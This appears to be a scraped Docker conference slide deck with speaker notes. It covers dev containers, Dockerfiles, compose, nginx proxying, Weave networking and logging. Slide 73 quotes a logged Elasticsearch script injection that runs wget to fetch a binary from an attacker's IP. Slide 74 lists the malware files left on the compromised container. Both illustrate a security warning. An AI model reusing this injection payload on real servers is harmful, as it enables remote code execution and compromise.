  • 36. Go Lang Development Environment > docker run -it --rm -w /go/src/github.com/myapp -v $(pwd)/vendor/github.com/:/go/src/github.com/ -v $(pwd):/go/src/github.com/myapp golang:1.4 bash
  • 37. > cat MakeFile build-dev copy build-release: echo ”Building Release Image" build-dev: docker build –f Dockerfile-dev –t warden-dev . copy: docker create --name tmp warden-dev docker cp tmp:/go/bin/app $(shell pwd)/app docker rm tmp build-release: docker build –t ocelotuproar/warden
  • 38. > cat Dockerfile-dev FROM golang:latest RUN mkdir /app ADD . /app/ WORKDIR /app RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o main . CMD ["/app/main”] EXPOSE 80 > cat Dockerfile FROM scratch EXPOSE 80 COPY app / CMD ["/app"]
  • 39. > docker images scrapbook/docker-http-server 528.9 MB golang:latest 517.3 MB > docker images scrapbook/docker-http-server 5.812 MB
  • 40. CI becomes very simple Exit Codes
  • 43. Containers can’t fix broken architectures. But they can help…
  • 44. Production isn’t special Just another environment
  • 46. Persisting Data > docker run –v <host-dir>:<container-dir> image -v /opt/docker/elasticsearch:/data -v /opt/docker/mysql:/var/lib/mysql -v /docker/scrapbook/uploads:/app/public/uploads -v $(PWD):/host -v /var/log/syslog:/var/log/syslog
  • 48. > docker-compose up -d > cat docker-compose.yml web: image: ocelotuproar/katacoda volumes: - /opt/projects/katacoda/data:/usr/src/app/data - /opt/docker/katacoda/db:/usr/src/app/ocelite-db - /var/run/docker.sock:/var/run/docker.sock ports: - 3000 environment: VIRTUAL_HOST: 'katacoda.com,*.katacoda.com' NODE_ENV: 'production’ restart: always // Production version of docker-compose-dev.yml
  • 49. > docker-compose up # Start containers –d # In background Recreating katacoda_nginx_1... Recreating katacoda_redis_1... Recreating katacoda_db_1... Recreating katacoda_elasticsearch_1... Recreating katacoda_web_1… > docker-compose stop # Stop containers Stopping katacoda_web_1... Stopping katacoda_elasticsearch_1... Stopping katacoda_db_1... Stopping katacoda_redis_1... Stopping katacoda_nginx_1...
  • 50. Sidekick Containers for backup Pushes to Dropbox Cost effective
  • 51. Auto Discovery is key to a good container architecture
  • 54. Problematic Approach > docker run -d --name nginx_root --link blog_benhall-1:blog_benhall-1 --link katacoda-1:katacoda-1 --link scrapbook_web_1:scrapbook_web_1 --link brownbag_web_1:brownbag_web_1 -p 80:80 -v /opt/docker/nginx/www:/data -v /opt/docker/nginx/sites:/etc/nginx/sites-enabled -v /opt/docker/nginx/logs:/var/log/nginx nginx
  • 56. • -v /var/run/docker.sock:/tmp/docker.sock • VIRTUAL_HOST=my.container.com
  • 58. Rolling Updates Node.js > docker run –e VIRTUAL_HOST=myapp myapp:v2.0 // Make some changes > docker build –t myapp:v2.1 > docker run –e VIRTUAL_HOST=myapp myapp:v2.1 // Load Balanced > docker stop <container for myapp:v2.0>
  • 61. Using Nginx Proxy to scale Node.js > docker-compose scale web=5
  • 64. Weave > weave launch > docker run –name ws web-server // second host > weave launch <host-01 ip> > docker run --name ws -d -p 80:80 scrapbook/docker-http-server > docker run ubuntu ping -c1 ws ping ws.weave.local (10.0.0.1)
  • 65. Weave DNS > docker run --name ws -d -p 80:80 scrapbook/docker-http-server > docker run --name ws -d -p 80:80 scrapbook/docker-http-server > docker run --name ws -d -p 80:80 scrapbook/docker-http-server > docker run ubuntu ping -c1 ws ping ws.weave.local (10.0.0.1) > docker run ubuntu ping -c1 ws ping ws.weave.local (10.0.0.2) > docker run ubuntu ping -c1 ws ping ws.weave.local (10.0.0.3)
  • 66. Auto Discovery allows you to dynamically adapt your infrastructure
  • 67. > docker run -d --name nginx -p 80:80 --link blog_benhall:wordpress nginx-wordpress-example Nginx Wordpress blog_benhall
  • 68. > docker run -d –name varnish --link blog_benhall:websiteBeingCached benhall/docker-varnish Nginx Varnish blog_benhall_varnish Wordpress blog_benhall > docker run -d --name nginx -p 80:80 --link varnish:wordpress nginx-wordpress-example
  • 69. Common Question: Is it secure?
  • 73. org.elasticsearch.search.SearchParseException: [index][3]: query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"s cript":"import java.util.*;nimport java.io.*;nString str = "";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("wget -O /tmp/xdvi http://<IP Address>:9985/xdvi").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();" }}}]] http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
  • 74. C /bin C /bin/netstat C /bin/ps C /bin/ss C /etc C /etc/init.d A /etc/init.d/DbSecuritySpt A /etc/init.d/selinux C /etc/rc1.d A /etc/rc1.d/S97DbSecuritySpt A /etc/rc1.d/S99selinux C /etc/rc2.d A /etc/rc2.d/S97DbSecuritySpt A /etc/rc2.d/S99selinux C /etc/rc3.d A /etc/rc3.d/S97DbSecuritySpt A /etc/rc3.d/S99selinux C /etc/rc4.d A /etc/rc4.d/S97DbSecuritySpt A /etc/rc4.d/S99selinux C /etc/rc5.d http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/ A /etc/rc5.d/S97DbSecuritySpt A /etc/rc5.d/S99selinux C /etc/ssh A /etc/ssh/bfgffa A /os6 A /safe64 C /tmp A /tmp/.Mm2 A /tmp/64 A /tmp/6Sxx A /tmp/6Ubb A /tmp/DDos99 A /tmp/cmd.n A /tmp/conf.n A /tmp/ddos8 A /tmp/dp25 A /tmp/frcc A /tmp/gates.lod A /tmp/hkddos A /tmp/hsperfdata_root A /tmp/linux32 A /tmp/linux64 A /tmp/manager A /tmp/moni.lod A /tmp/nb A /tmp/o32 A /tmp/oba A /tmp/okml A /tmp/oni A /tmp/yn25 C /usr C /usr/bin A /usr/bin/.sshd A /usr/bin/dpkgd A /usr/bin/dpkgd/netstat A /usr/bin/dpkgd/ps A /usr/bin/dpkgd/ss
  • 75. Only as secure as the contents running in the container
  • 77. All Stdout and StdErr logged
  • 79. Docker Logging Options > docker run --log-driver=syslog redis > docker run --log-driver=none redis > docker run --log-driver=json-file --log-opt="" redis --log-opt max-size=[0-9+][k|m|g] --log-opt max-file=[0-9+] --log-opt max-size=50m --log-opt max-file=100
  • 80. ELK + LogSpout > docker run -d -p 8000:8000 -v /var/run/docker.sock:/tmp/docker.sock --name logspout gliderlabs/logspout:master syslog://192.168.99.100:5000 https://github.com/benhall/docker-elk
  • 81. > docker run -d --restart=always # Restart if exits non-zero redis
  • 84. > docker exec –it <container-name> bash > docker exec -it scrapbookv2prototype_nginx_1 cat /etc/nginx/conf.d/default.conf upstream katacoda.com { server 172.17.0.30:3000; } server { server_name katacoda.com; listen 80 ; access_log /var/log/nginx/access.log vhost; location / { proxy_pass http://katacoda.com; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $host; proxy_http_version 1.1; }
  • 87. > docker run –it --name sysdig --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro sysdig/sysdig
  • 94. Summary • Batteries included but removable • Containers are a new way of thinking, embrace and extend • New tools and approaches to solving problems • Don’t corrupt your host. Everything as a container

Editor's Notes

  • #11: Why wouldn’t you just install your stuff? Why over a virtual machine?
  • #18: Story. Getting started wiki page
  • #20: Story
  • #21: Story
  • #23: Story
  • #24: docker run –it --rm -w /usr/app -v $(pwd):/usr/app -v $(pwd)/d_node_modules:/usr/app/node_modules -p 3000:3000 node:0.10.38 bash
  • #26: Story
  • #28: Always goes wrong…
  • #30: Story
  • #31: Always goes wrong…
  • #32: Story
  • #33: Story
  • #34: Always goes wrong…
  • #35: Story
  • #36: Story
  • #37: Story
  • #38: Story
  • #39: Story
  • #40: Story
  • #43: Always goes wrong…
  • #47: Story of data being lost
  • #49: Story
  • #68: Story
  • #71: Story
  • #77: User namespaces in 1.9 removes net=host https://github.com/dotcloud/docker/issues/6401
  • #86: User namespaces in 1.9 removes net=host https://github.com/dotcloud/docker/issues/6401
  • #87: User namespaces in 1.9 removes net=host https://github.com/dotcloud/docker/issues/6401
  • #89: User namespaces in 1.9 removes net=host https://github.com/dotcloud/docker/issues/6401